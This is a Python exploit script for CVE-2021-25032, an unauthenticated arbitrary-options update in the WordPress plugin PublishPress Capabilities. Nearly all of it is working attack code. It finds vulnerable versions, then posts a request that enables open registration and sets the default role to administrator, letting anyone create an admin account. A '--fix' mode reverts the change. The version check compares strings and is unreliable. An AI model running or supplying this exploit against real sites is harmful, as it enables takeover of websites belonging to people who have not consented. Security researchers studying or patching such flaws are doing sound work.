#!/usr/bin/env python3 import argparse import requests from getpass import getpass from bs4 import BeautifulSoup import os ## Exploit script by @RandomRobbieBF user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" session = requests.Session() http_proxy = "" os.environ['HTTP_PROXY'] = http_proxy os.environ['HTTPS_PROXY'] = http_proxy def check_plugin_version(url): headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'} plugin_url = ""+url+"/wp-content/plugins/capability-manager-enhanced/readme.txt" response = requests.get(plugin_url, headers=headers,verify=False,timeout=30) if response.status_code == 200: content = response.text version_line = next((line for line in content.split('\n') if line.startswith('Stable tag:')), None) if version_line: version = version_line.split(':')[1].strip() if version >= '2.3.1': print("The plugin version is 2.3.1 or above.") exit() else: print("The plugin version is below 2.3.1.") print("The plugin version is "+version+"") return version else: print("Failed to find the version information in the readme.txt file.") exit() else: print("Plugin not installed") exit() def undoadmin(url): # Perform vulnerability check logic here print("Vulnerability check:", url) payloads = ['1'] main_url = f"{url}/wp-admin/admin.php" for payload in payloads: paramsPost = {"all_options":"default_role,users_can_register","users_can_register":"0","default_role":"subscriber","page":"pp-capabilities-settings"} ajax_response = session.post(main_url,data=paramsPost, headers={"User-Agent": user_agent,"X-Requested-With": "XMLHttpRequest"}) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 200: print(f"Options set successfully: {main_url}") # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent}) if "Registration confirmation will be emailed to you" in register_response.text: print("Error: it looks like you can still register.") exit() else: print("Fixed: You can not longer register") def vulncheck(url): # Perform vulnerability check logic here print("Vulnerability check:", url) payloads = ['1'] main_url = f"{url}/wp-admin/admin.php" for payload in payloads: paramsPost = {"all_options":"default_role,users_can_register","users_can_register":"1","default_role":"administrator","page":"pp-capabilities-settings"} ajax_response = session.post(main_url,data=paramsPost, headers={"User-Agent": user_agent}) ajax_response.raise_for_status() # Check if option set successfully if ajax_response.status_code == 302: print(f"Options set successfully: {main_url}") # Check if user registration is allowed register_url = f"{url}/wp-login.php?action=register" register_response = requests.get(register_url, headers={"User-Agent": user_agent}) if "Registration confirmation will be emailed to you" in register_response.text: print("You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.") exit() else: print("boooo") # Add the vulnerability description as a comment DESCRIPTION = """ PublishPress Capabilities 2.2 - 2.3.1 - Unauthenticated Arbitrary Options Update to Blog Compromise - CVE-2021-25032 The plugin does not have authorisation and CSRF checks when updating the plugin's settings via the init hook, and does not ensure that the options to be updated belong to the plugin. As a result, unauthenticated attackers could update arbitrary blog options, such as the default role and make any new registered user with an administrator role. """ # Use argparse to get the URL, username, and password arguments parser = argparse.ArgumentParser(description=DESCRIPTION) parser.add_argument("-u", "--url", help="Website URL", required=True) parser.add_argument("-f", "--fix", help="Reset after Exploit") args = parser.parse_args() # Usage if args.fix: undoadmin(args.url) else: check_plugin_version(args.url) vulncheck(args.url)